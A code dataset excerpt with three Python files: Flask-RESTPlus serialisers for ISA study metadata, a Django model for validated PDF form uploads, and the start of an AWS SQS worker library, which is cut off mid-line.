'termAccession': fields.String,\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\nStd_OntologyAnnotation_api_model = {\n # term -> annotationValue (str):\n # term_source -> termSource (OntologySource):\n # term_accession -> termAccession (str):\n # comments (list, Comment):\n 'annotationValue': fields.String(attribute='term'),\n 'termSource': fields.Nested(OntologySource_api_model, attribute='term_source'),\n 'termAccession': fields.String(attribute='term_accession'),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_ontology_annotation(isa_obj):\n assert isinstance(isa_obj, OntologyAnnotation)\n term_source = None\n if hasattr(isa_obj, 'termSource') and isa_obj.term_source is not None:\n term_source = serialize_ontology_source(isa_obj.term_source)\n return {\n 'annotationValue': isa_obj.term,\n 'termSource': term_source,\n 'termAccession': isa_obj.term_accession,\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_ontology_annotation(json_obj):\n term = ''\n if 'annotationValue' in json_obj and json_obj['annotationValue'] is not None:\n term = json_obj['annotationValue']\n term_source = None\n if 'termSource' in json_obj and json_obj['termSource'] is not None:\n term_source = unserialize_ontology_source(json_obj['termSource'])\n term_accession = ''\n if 'termAccession' in json_obj and json_obj['termAccession'] is not None:\n term_accession = json_obj['termAccession']\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return OntologyAnnotation(term=term,\n term_source=term_source,\n term_accession=term_accession,\n comments=comments)\n\n\nProtocolParameter_api_model = {\n # parameter_name -> parameterName (OntologyAnnotation):\n # unit (OntologyAnnotation):\n # comments (list, Comment):\n 'parameterName': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'unit': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_protocol_parameter(isa_obj):\n assert isinstance(isa_obj, ProtocolParameter)\n parameter_name = None\n if hasattr(isa_obj, 'parameter_name') and isa_obj.parameter_name is not None:\n parameter_name = serialize_ontology_annotation(isa_obj.parameter_name)\n unit = None\n if hasattr(isa_obj, 'unit') and isa_obj.unit is not None:\n unit = serialize_ontology_annotation(isa_obj.unit)\n return {\n 'parameterName': parameter_name,\n 'unit': unit,\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_protocol_parameter(json_obj):\n parameter_name = OntologyAnnotation()\n if 'parameter_name' in json_obj and json_obj['parameter_name'] is not None:\n parameter_name = unserialize_ontology_annotation(json_obj['parameter_name'])\n unit = OntologyAnnotation()\n if 'unit' in json_obj and json_obj['unit'] is not None:\n unit = unserialize_ontology_annotation(json_obj['unit'])\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return ProtocolParameter(parameter_name=parameter_name,\n # unit=unit,\n comments=comments)\n\n\nProtocol_api_model = {\n # name (str):\n # protocol_type -> protocolType (OntologyAnnotation):\n # description (str):\n # uri (str):\n # version (str):\n # parameters (list, ProtocolParameter):\n # components (list, OntologyAnnotation):\n # comments (list, comment):\n 'name': fields.String,\n 'protocolType': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'description': fields.String,\n 'uri': fields.String,\n 'version': fields.String,\n 'parameters': fields.List(fields.Nested(ProtocolParameter_api_model)),\n 'components': fields.List(fields.Nested(Inv_OntologyAnnotation_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_protocol(isa_obj):\n assert isinstance(isa_obj, Protocol)\n return {\n 'name': isa_obj.name,\n 'protocolType': json.loads(json.dumps(isa_obj.protocol_type,\n default=serialize_ontology_annotation, sort_keys=True)),\n 'description': isa_obj.description,\n 'uri': isa_obj.uri,\n 'version': isa_obj.version,\n 'parameters': json.loads(json.dumps(isa_obj.parameters,\n default=serialize_protocol_parameter, sort_keys=True)),\n 'components': json.loads(json.dumps(isa_obj.components,\n default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments,\n default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_protocol(json_obj):\n name = ''\n if 'name' in json_obj and json_obj['name'] is not None:\n name = json_obj['name']\n protocol_type = OntologyAnnotation()\n if 'protocol_type' in json_obj and json_obj['protocol_type'] is not None:\n protocol_type = unserialize_ontology_annotation(json_obj['protocol_type'])\n description = ''\n if 'description' in json_obj and json_obj['description'] is not None:\n description = json_obj['description']\n uri = ''\n if 'uri' in json_obj and json_obj['uri'] is not None:\n uri = json_obj['uri']\n version = ''\n if 'version' in json_obj and json_obj['version'] is not None:\n version = json_obj['version']\n parameters = list()\n if 'parameters' in json_obj:\n for parameter in json_obj['parameters']:\n parameters.append(unserialize_protocol_parameter(parameter))\n components = list()\n if len(json_obj['components']) > 0:\n for comp in json_obj['components']:\n components.append(unserialize_ontology_annotation(comp))\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Protocol(name=name,\n protocol_type=protocol_type,\n description=description,\n uri=uri,\n version=version,\n parameters=parameters,\n components=components,\n comments=comments)\n\n\nInv_Person_api_model = {\n # lastName (str):\n # firstName (str):\n # midInitials (str):\n # email (str):\n # phone (str):\n # fax (str):\n # address (str):\n # affiliation (str):\n # roles (list, OntologyAnnotation):\n # comments (list, Comment):\n 'lastName': fields.String,\n 'firstName': fields.String,\n 'midInitials': fields.String,\n 'email': fields.String,\n 'phone': fields.String,\n 'fax': fields.String,\n 'address': fields.String,\n 'affiliation': fields.String,\n 'roles': fields.List(fields.Nested(Inv_OntologyAnnotation_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\nStd_Person_api_model = {\n # last_name -> lastName (str):\n # first_name -> firstName (str):\n # mid_initials -> midInitials (str):\n # email (str):\n # phone (str):\n # fax (str):\n # address (str):\n # affiliation (str):\n # roles (list, OntologyAnnotation):\n # comments (list, Comment):\n 'lastName': fields.String(attribute='last_name'),\n 'firstName': fields.String(attribute='first_name'),\n 'midInitials': fields.String,\n 'email': fields.String,\n 'phone': fields.String,\n 'fax': fields.String,\n 'address': fields.String,\n 'affiliation': fields.String,\n 'roles': fields.List(fields.Nested(Std_OntologyAnnotation_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_person(isa_obj):\n assert isinstance(isa_obj, Person)\n return {\n 'lastName': isa_obj.last_name,\n 'firstName': isa_obj.first_name,\n 'midInitials': isa_obj.mid_initials,\n 'email': isa_obj.email,\n 'phone': isa_obj.phone,\n 'fax': isa_obj.fax,\n 'address': isa_obj.address,\n 'affiliation': isa_obj.affiliation,\n 'roles': json.loads(json.dumps(isa_obj.roles, default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_person(json_obj):\n last_name = ''\n if 'lastName' in json_obj and json_obj['lastName'] is not None:\n last_name = json_obj['lastName']\n first_name = ''\n if 'firstName' in json_obj and json_obj['firstName'] is not None:\n first_name = json_obj['firstName']\n mid_initials = ''\n if 'midInitials' in json_obj and json_obj['midInitials'] is not None:\n mid_initials = json_obj['midInitials']\n email = ''\n if 'email' in json_obj and json_obj['email'] is not None:\n email = json_obj['email']\n phone = ''\n if 'phone' in json_obj and json_obj['phone'] is not None:\n phone = json_obj['phone']\n fax = ''\n if 'fax' in json_obj and json_obj['fax'] is not None:\n fax = json_obj['fax']\n address = ''\n if 'address' in json_obj and json_obj['address'] is not None:\n address = json_obj['address']\n affiliation = ''\n if 'affiliation' in json_obj and json_obj['affiliation'] is not None:\n affiliation = json_obj['affiliation']\n roles = list()\n if len(json_obj['roles']) > 0:\n for role in json_obj['roles']:\n roles.append(unserialize_ontology_annotation(role))\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Person(first_name=first_name,\n last_name=last_name,\n mid_initials=mid_initials,\n email=email,\n phone=phone,\n fax=fax,\n address=address,\n affiliation=affiliation,\n roles=roles,\n comments=comments)\n\n\nStudyFactor_api_model = {\n # name -> factorName (str):\n # factor_type -> factorType (OntologyAnnotation):\n # comments (list, Comment):\n 'factorName': fields.String,\n 'factorType': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_study_factor(isa_obj):\n assert isinstance(isa_obj, StudyFactor)\n return {\n 'factorName': isa_obj.name,\n 'factorType': json.loads(\n json.dumps(isa_obj.factor_type, default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_study_factor(json_obj):\n name = ''\n if 'factorName' in json_obj and json_obj['factorName'] is not None:\n name = json_obj['factorName']\n factor_type = OntologyAnnotation()\n if 'factorType' in json_obj and json_obj['factorType'] is not None:\n factor_type = unserialize_ontology_annotation(json_obj['factorType'])\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return StudyFactor(name=name,\n factor_type=factor_type,\n comments=comments)\n\n\nStudyPublications_api_model = {\n # pubmed_id (str):\n # doi (str):\n # author_list -> authorList (str):\n # title (str):\n # status (str, OntologyAnnotation):\n # comments (list, Comment):\n 'pubMedID': fields.String,\n 'doi': fields.String,\n 'authorList': fields.String,\n 'title': fields.String,\n 'status': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_study_publication(isa_obj):\n assert isinstance(isa_obj, Publication)\n return {\n 'pubMedID': isa_obj.pubmed_id,\n 'doi': isa_obj.doi,\n 'authorList': isa_obj.author_list,\n 'title': isa_obj.title,\n 'status': json.loads(json.dumps(isa_obj.status, default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_study_publication(json_obj):\n pubmed_id = ''\n if 'pubMedID' in json_obj and json_obj['pubMedID'] is not None:\n pubmed_id = json_obj['pubMedID']\n doi = ''\n if 'doi' in json_obj and json_obj['doi'] is not None:\n doi = json_obj['doi']\n author_list = ''\n if 'authorList' in json_obj and json_obj['authorList'] is not None:\n author_list = json_obj['authorList']\n title = ''\n if 'title' in json_obj and json_obj['title'] is not None:\n title = json_obj['title']\n status = OntologyAnnotation()\n if 'status' in json_obj and json_obj['status'] is not None:\n status = unserialize_ontology_annotation(json_obj['status'])\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Publication(pubmed_id=pubmed_id,\n doi=doi,\n author_list=author_list,\n title=title,\n status=status,\n comments=comments)\n\n\nCharacteristic_api_model = {\n # category (OntologyAnnotation):\n # value (OntologyAnnotation):\n # unit (OntologyAnnotation):\n # comments (list, Comment):\n 'category': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'value': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'unit': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_characteristic(isa_obj):\n assert isinstance(isa_obj, Characteristic)\n return {\n 'category': json.loads(json.dumps(isa_obj.category, default=serialize_ontology_annotation, sort_keys=True)),\n 'value': json.loads(json.dumps(isa_obj.value, default=serialize_ontology_annotation, sort_keys=True)),\n 'unit': json.loads(json.dumps(isa_obj.unit, default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_characteristic(json_obj):\n category = OntologyAnnotation()\n if 'category' in json_obj and json_obj['category'] is not None:\n category = unserialize_ontology_annotation(json_obj['category'])\n value = OntologyAnnotation()\n if 'value' in json_obj and json_obj['value'] is not None:\n value = unserialize_ontology_annotation(json_obj['value'])\n unit = OntologyAnnotation()\n if 'unit' in json_obj and json_obj['unit'] is not None:\n unit = unserialize_ontology_annotation(json_obj['value'])\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Characteristic(category=category,\n value=value,\n unit=unit,\n comments=comments)\n\n\nclass FactorValueItem(fields.Raw):\n def format(self, value):\n val = None\n if isinstance(value, (int, float, str)):\n val = value\n if isinstance(value, OntologyAnnotation):\n val = {\n 'annotationValue': value.term,\n 'termSource': value.term_source,\n 'termAccession': value.term_accession,\n 'comments': value.comments\n }\n return val\n\n\nFactorValue_api_model = {\n # factor_name -> factorName (StudyFactor):\n # value (OntologyAnnotation):\n # unit (OntologyAnnotation):\n # comments (list, Comment):\n 'category': fields.Nested(StudyFactor_api_model),\n 'value': FactorValueItem(attribute='value'),\n 'unit': fields.Nested(Inv_OntologyAnnotation_api_model),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_factor_value(isa_obj):\n assert isinstance(isa_obj, FactorValue)\n return {\n 'factorName': json.loads(json.dumps(isa_obj.factor_name, default=serialize_study_factor, sort_keys=True)),\n 'value': json.loads(json.dumps(isa_obj.value, default=serialize_ontology_annotation, sort_keys=True)),\n 'unit': json.loads(json.dumps(isa_obj.unit, default=serialize_ontology_annotation, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_factor_value(json_obj):\n factor_name = StudyFactor()\n if 'factorName' in json_obj and json_obj['factorName'] is not None:\n factor_name = unserialize_study_factor(json_obj['factorName'])\n value = OntologyAnnotation()\n if 'value' in json_obj and json_obj['value'] is not None:\n value = unserialize_ontology_annotation(json_obj['value'])\n unit = OntologyAnnotation()\n if 'unit' in json_obj and json_obj['unit'] is not None:\n unit = unserialize_ontology_annotation(json_obj['value'])\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return FactorValue(factor_name=factor_name,\n value=value,\n unit=unit,\n comments=comments)\n\n\nStudySource_api_model = {\n # name (str):\n # characteristics (list, OntologyAnnotation):\n # comments (list, Comment):\n 'name': fields.String,\n 'characteristics': fields.List(fields.Nested(Characteristic_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_study_source(isa_obj):\n assert isinstance(isa_obj, Source)\n return {\n 'name': isa_obj.name,\n 'characteristics': json.loads(\n json.dumps(isa_obj.characteristics, default=serialize_characteristic, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_study_source(json_obj):\n name = ''\n if 'name' in json_obj and json_obj['name'] is not None:\n name = json_obj['name']\n characteristics = list()\n if 'characteristics' in json_obj and json_obj['characteristics'] is not None:\n for characteristic in json_obj['characteristics']:\n characteristics.append(unserialize_characteristic(characteristic))\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Source(name=name,\n characteristics=characteristics,\n comments=comments)\n\n\nStudySample_api_model = {\n # name (str):\n # characteristics (list, OntologyAnnotation):\n # factor_values -> factorValues (FactorValues):\n # derives_from (Source):\n # comments (list, Comment):\n 'name': fields.String,\n 'characteristics': fields.List(fields.Nested(Characteristic_api_model)),\n 'derives_from': fields.List(fields.Nested(StudySource_api_model)),\n 'factorValues': fields.List(fields.Nested(FactorValue_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_study_sample(isa_obj):\n assert isinstance(isa_obj, Sample)\n return {\n 'name': isa_obj.name,\n 'characteristics': json.loads(\n json.dumps(isa_obj.characteristics, default=serialize_characteristic, sort_keys=True)),\n 'factorValues': json.loads(\n json.dumps(isa_obj.factor_values, default=serialize_factor_value, sort_keys=True)),\n 'derives_from': json.loads(\n json.dumps(isa_obj.derives_from, default=serialize_study_source, sort_keys=True)),\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_study_sample(json_obj):\n name = ''\n if 'name' in json_obj and json_obj['name'] is not None:\n name = json_obj['name']\n characteristics = list()\n if 'characteristics' in json_obj and json_obj['characteristics'] is not None:\n for characteristic in json_obj['characteristics']:\n characteristics.append(unserialize_characteristic(characteristic))\n derives_from = ''\n if 'derives_from' in json_obj and json_obj['derives_from'] is not None:\n derives_from = json_obj['derives_from']\n factor_values = list()\n if 'factorValues' in json_obj and json_obj['factorValues'] is not None:\n for factor_value in json_obj['factorValues']:\n factor_values.append(unserialize_factor_value(factor_value))\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return Sample(name=name, characteristics=characteristics,\n derives_from=derives_from, factor_values=factor_values,\n comments=comments)\n\n\nStudyMaterial_api_model = {\n # other_materials -> otherMaterials (list, OntologyAnnotation):\n # sources (StudySource):\n # samples (StudySample):\n # comments (list, Comment):\n 'otherMaterials': fields.List(fields.Nested(Characteristic_api_model)),\n 'sources': fields.List(fields.Nested(StudySource_api_model)),\n 'samples': fields.List(fields.Nested(StudySample_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\nStudy_api_model = {\n 'assays': fields.String,\n # ToDo check characteristicCategories model\n 'characteristicCategories': fields.List(fields.Nested(Characteristic_api_model)),\n 'comments': fields.List(fields.Nested(Comment_api_model)),\n 'description': fields.String,\n 'factors': fields.List(fields.Nested(StudyFactor_api_model)),\n 'filename': fields.String,\n 'identifier': fields.String,\n 'materials': fields.List(fields.Nested(StudyMaterial_api_model)),\n 'people': fields.List(fields.Nested(Inv_Person_api_model)),\n 'processSequence': fields.List(fields.Nested(Inv_Person_api_model)),\n 'protocols': fields.List(fields.Nested(Protocol_api_model)),\n 'publicReleaseDate': fields.String,\n 'publications': fields.List(fields.Nested(StudyPublications_api_model)),\n 'studyDesignDescriptors': fields.List(fields.Nested(Inv_OntologyAnnotation_api_model)),\n 'submissionDate': fields.String,\n 'title': fields.String,\n 'unitCategories': fields.List(fields.Nested(Inv_OntologyAnnotation_api_model))\n}\n\n\nInvestigation_api_model = {\n # id (str):\n # identifier (str):\n # title (str):\n # description (str):\n # submissionDate (str):\n # publicReleaseDate (str):\n # filename (str):\n # people (list, Person):\n # publications (list, StudyPublications):\n # ontologySourceReferences (list, OntologyAnnotation):\n # studies (list, Study):\n 'comments': fields.List(fields.Nested(Comment_api_model)),\n 'description': fields.String,\n 'filename': fields.String,\n 'id': fields.String,\n 'identifier': fields.String,\n 'ontologySourceReferences': fields.List(fields.Nested(OntologySource_api_model)),\n 'people': fields.List(fields.Nested(Inv_Person_api_model)),\n 'publicReleaseDate': fields.String(attribute='public_release_date'),\n 'publications': fields.List(fields.Nested(StudyPublications_api_model)),\n 'studies': fields.List(fields.Nested(Study_api_model)),\n 'submissionDate': fields.String(attribute='submission_date'),\n 'title': fields.String\n}\n\n\ndef serialize_investigation(isa_obj):\n assert isinstance(isa_obj, Investigation)\n return {\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True)),\n 'description': isa_obj.title,\n 'filename': isa_obj.filename,\n 'id': isa_obj.id,\n 'identifier': isa_obj.identifier,\n 'ontologySourceReferences': json.loads(\n json.dumps(isa_obj.ontology_source_references, default=serialize_characteristic, sort_keys=True)),\n 'people': isa_obj.contacts,\n 'publicReleaseDate': isa_obj.public_release_date,\n 'publications': isa_obj.publications,\n 'studies': isa_obj.studies,\n 'submissionDate': isa_obj.submission_date,\n 'title': isa_obj.title\n }","sub_path":"app/ws/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":30235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"517787119","text":"# Imports\nimport os\nimport magic\n# Django\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.dispatch import receiver\nfrom django.utils.text import slugify\n# Models\nfrom apps.products.models import RetailerProduct\n\n\n# Custom upload to\ndef upload_location(instance, filename):\n upload_to = 'forms'\n ext = os.path.splitext(filename)[1]\n filename = '{0}{1}'.format(slugify(instance.title), ext)\n\n return '{0}/{1}'.format(upload_to, filename)\n\n\n# Validation file upload\ndef validate_file(file):\n valid_mime_types = ['application/pdf', ]\n file_mime_type = magic.from_buffer(file.read(), mime=True)\n\n if file_mime_type not in valid_mime_types:\n raise ValidationError('Unsupported file type.')\n\n valid_file_extensions = ['.pdf', ]\n ext = os.path.splitext(file.name)[1]\n\n if ext.lower() not in valid_file_extensions:\n raise ValidationError('Unacceptable file extension.')\n\n\n# Form from retailers model\nclass FormRetailer(models.Model):\n id = models.AutoField(primary_key=True)\n\n retailer_product = models.ForeignKey(\n RetailerProduct,\n on_delete=models.CASCADE,\n db_column='ad_retailer_product_id',\n verbose_name='retailer - producto'\n )\n title = models.CharField(max_length=140, verbose_name='título')\n file = models.FileField(\n upload_to=upload_location,\n verbose_name='archivo',\n validators=[validate_file, ]\n )\n\n created_at = models.DateTimeField(auto_now_add=True, verbose_name='creado')\n updated_at = models.DateTimeField(auto_now=True, verbose_name='actualizado')\n\n class Meta:\n db_table = 'ad_forms'\n managed = True\n verbose_name = 'Formulario'\n\n def __str__(self):\n return self.title\n\n def upload_location():\n pass\n\n def validate_file():\n pass\n\n\n# Remove file on delete\n@receiver(models.signals.post_delete, sender=FormRetailer)\ndef auto_delete_file_on_delete(sender, instance, **kwargs):\n if instance.file:\n if os.path.isfile(instance.file.path):\n os.remove(instance.file.path)\n\n\n# Remove file on update\n@receiver(models.signals.pre_save, sender=FormRetailer)\ndef auto_delete_file_on_change(sender, instance, **kwargs):\n if not instance.pk:\n return False\n\n try:\n old_file = sender.objects.get(pk=instance.pk).file\n except sender.DoesNotExist:\n return False\n\n new_file = instance.file\n\n if not old_file == new_file:\n if old_file and os.path.isfile(old_file.path):\n os.remove(old_file.path)\n","sub_path":"apps/configs/models/FormRetailer.py","file_name":"FormRetailer.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"306114580","text":"import json\nimport logging\nimport multiprocessing\nfrom itertools import groupby\n\nimport boto3\n\nfrom sqs_workers import codecs, processors, context\nfrom sqs_workers.backoff_policies import DEFAULT_BACKOFF\nfrom sqs_workers.codecs import DEFAULT_CONTENT_TYPE\nfrom sqs_workers.processor_mgr import ProcessorManager, ProcessorManagerProxy\nfrom sqs_workers.shutdown_policies import NEVER_SHUTDOWN, NeverShutdown\n\nlogger = logging.getLogger(__name__)\n\nDEFAULT_MESSAGE_GROUP_ID = 'default'\n\n\nclass BatchProcessingResult(object):\n succeeded = None\n failed = None\n\n def __init__(self, queue_name, succeeded=None, failed=None):\n self.queue_name = queue_name\n self.succeeded = succeeded or []\n self.failed = failed or []\n\n def update(self, succeeded, failed):\n self.succeeded += succeeded\n self.failed += failed\n\n def succeeded_count(self):\n return len(self.succeeded)\n\n def failed_count(self):\n return len(self.failed)\n\n def total_count(self):\n return self.succeeded_count() + self.failed_count()\n\n def __repr__(self):\n return '' % (\n self.queue_name, self.succeeded_count(), self.failed_count())\n\n\nclass SQSEnv(ProcessorManagerProxy):\n def __init__(self,\n session=boto3,\n queue_prefix='',\n backoff_policy=DEFAULT_BACKOFF,\n processor_maker=processors.Processor,\n batch_processor_maker=processors.BatchProcessor,\n fallback_processor_maker=processors.FallbackProcessor,\n context_maker=context.SQSContext):\n \"\"\"\n Initialize SQS environment with boto3 session\n \"\"\"\n self.session = session\n self.sqs_client = session.client('sqs')\n self.sqs_resource = session.resource('sqs')\n self.queue_prefix = queue_prefix\n self.context = context_maker()\n self.processors = ProcessorManager(\n self, backoff_policy, processor_maker, batch_processor_maker,\n fallback_processor_maker)\n\n # internal mapping from queue names to queue objects\n self.queue_mapping_cache = {}\n\n def create_standard_queue(self,\n queue_name,\n message_retention_period=None,\n visibility_timeout=None,\n redrive_policy=None):\n \"\"\"\n Create a new standard queue\n \"\"\"\n attrs = {}\n kwargs = {\n 'QueueName': self.get_sqs_queue_name(queue_name),\n 'Attributes': attrs,\n }\n if message_retention_period is not None:\n attrs['MessageRetentionPeriod'] = str(message_retention_period)\n if visibility_timeout is not None:\n attrs['VisibilityTimeout'] = str(visibility_timeout)\n if redrive_policy is not None:\n attrs['RedrivePolicy'] = redrive_policy.__json__()\n ret = self.sqs_client.create_queue(**kwargs)\n return ret['QueueUrl']\n\n def create_fifo_queue(self,\n queue_name,\n content_based_deduplication=False,\n message_retention_period=None,\n visibility_timeout=None,\n redrive_policy=None):\n \"\"\"\n Create a new FIFO queue. Note that queue name has to end with \".fifo\"\n\n - \"content_based_deduplication\" turns on automatic content-based\n deduplication of messages in the queue\n\n - redrive_policy can be None or an object, generated with\n redrive_policy() method of SQS. In the latter case if defines the\n way failed messages are processed.\n \"\"\"\n attrs = {\n 'FifoQueue': 'true',\n }\n kwargs = {\n 'QueueName': self.get_sqs_queue_name(queue_name),\n 'Attributes': attrs,\n }\n if content_based_deduplication:\n attrs['ContentBasedDeduplication'] = 'true'\n if message_retention_period is not None:\n attrs['MessageRetentionPeriod'] = str(message_retention_period)\n if visibility_timeout is not None:\n attrs['VisibilityTimeout'] = str(visibility_timeout)\n if redrive_policy is not None:\n attrs['RedrivePolicy'] = redrive_policy.__json__()\n ret = self.sqs_client.create_queue(**kwargs)\n return ret['QueueUrl']\n\n def purge_queue(self, queue_name):\n \"\"\"\n Remove all messages from the queue\n \"\"\"\n self.get_queue(queue_name).purge()\n\n def delete_queue(self, queue_name):\n \"\"\"\n Delete the queue\n \"\"\"\n self.get_queue(queue_name).delete()\n\n def add_job(self,\n queue_name,\n job_name,\n _content_type=DEFAULT_CONTENT_TYPE,\n _delay_seconds=None,\n _deduplication_id=None,\n _group_id=None,\n **job_kwargs):\n \"\"\"\n Add job to the queue. The body of the job will be converted to the text\n with one of the codes (by default it's \"pickle\")\n \"\"\"\n codec = codecs.get_codec(_content_type)\n message_body = codec.serialize(job_kwargs)\n job_context = codec.serialize(self.context.to_dict())\n return self.add_raw_job(queue_name, job_name, message_body,\n job_context, _content_type, _delay_seconds,\n _deduplication_id, _group_id)\n\n def add_raw_job(self, queue_name, job_name, message_body, job_context,\n content_type, delay_seconds, deduplication_id, group_id):\n \"\"\"\n Low-level function to put message to the queue\n \"\"\"\n # if queue name ends with .fifo, then according to the AWS specs,\n # it's a FIFO queue, and requires group_id.\n # Otherwise group_id can be set to None\n if group_id is None and queue_name.endswith('.fifo'):\n group_id = DEFAULT_MESSAGE_GROUP_ID\n\n queue = self.get_queue(queue_name)\n kwargs = {\n 'MessageBody': message_body,\n 'MessageAttributes': {\n 'ContentType': {\n 'StringValue': content_type,\n 'DataType': 'String',\n },\n 'JobContext': {\n 'StringValue': job_context,\n 'DataType': 'String',\n },\n 'JobName': {\n 'StringValue': job_name,\n 'DataType': 'String',\n },\n },\n }\n if delay_seconds is not None:\n kwargs['DelaySeconds'] = int(delay_seconds)\n if deduplication_id is not None:\n kwargs['MessageDeduplicationId'] = str(deduplication_id)\n if group_id is not None:\n kwargs['MessageGroupId'] = str(group_id)\n ret = queue.send_message(**kwargs)\n return ret['MessageId']\n\n def process_queues(self,\n queue_names=None,\n shutdown_policy_maker=NeverShutdown):\n \"\"\"\n Use multiprocessing to process multiple queues at once. If queue names\n are not set, process all known queues\n\n shutdown_policy_maker is an optional callable which doesn't accept any\n arguments and create a new shutdown policy for each queue.\n\n Can looks somewhat like this:\n\n lambda: IdleShutdown(idle_seconds=10)\n \"\"\"\n if not queue_names:\n queue_names = self.get_all_known_queues()\n processes = []\n for queue_name in queue_names:\n p = multiprocessing.Process(\n target=self.process_queue,\n kwargs={\n 'queue_name': queue_name,\n 'shutdown_policy': shutdown_policy_maker(),\n })\n p.start()\n processes.append(p)\n for p in processes:\n p.join()\n\n def drain_queue(self, queue_name, wait_seconds=0):\n \"\"\"\n Delete all messages from the queue without calling purge()\n \"\"\"\n queue = self.get_queue(queue_name)\n deleted_count = 0\n while True:\n messages = self.get_raw_messages(queue_name, wait_seconds)\n if not messages:\n break\n entries = [{\n 'Id': msg.message_id,\n 'ReceiptHandle': msg.receipt_handle\n } for msg in messages]\n queue.delete_messages(Entries=entries)\n deleted_count += len(messages)\n return deleted_count\n\n def process_queue(self,\n queue_name,\n shutdown_policy=NEVER_SHUTDOWN,\n wait_second=10):\n \"\"\"\n Run worker to process one queue in the infinite loop\n \"\"\"\n logger.debug(\n 'Start processing queue {}'.format(queue_name),\n extra={\n 'queue_name': queue_name,\n 'wait_seconds': wait_second,\n 'shutdown_policy': repr(shutdown_policy),\n })\n while True:\n result = self.process_batch(queue_name, wait_seconds=wait_second)\n shutdown_policy.update_state(result)\n if shutdown_policy.need_shutdown():\n logger.debug(\n 'Stop processing queue {}'.format(queue_name),\n extra={\n 'queue_name': queue_name,\n 'wait_seconds': wait_second,\n 'shutdown_policy': repr(shutdown_policy),\n })\n break\n\n def process_batch(self, queue_name, wait_seconds=0):\n # type: (str, int) -> BatchProcessingResult\n \"\"\"\n Process a batch of messages from the queue (10 messages at most), return\n the number of successfully processed messages, and exit\n \"\"\"\n queue = self.get_queue(queue_name)\n messages = self.get_raw_messages(queue_name, wait_seconds)\n result = BatchProcessingResult(queue_name)\n\n for job_name, job_messages in group_messages(queue_name, messages):\n processor = 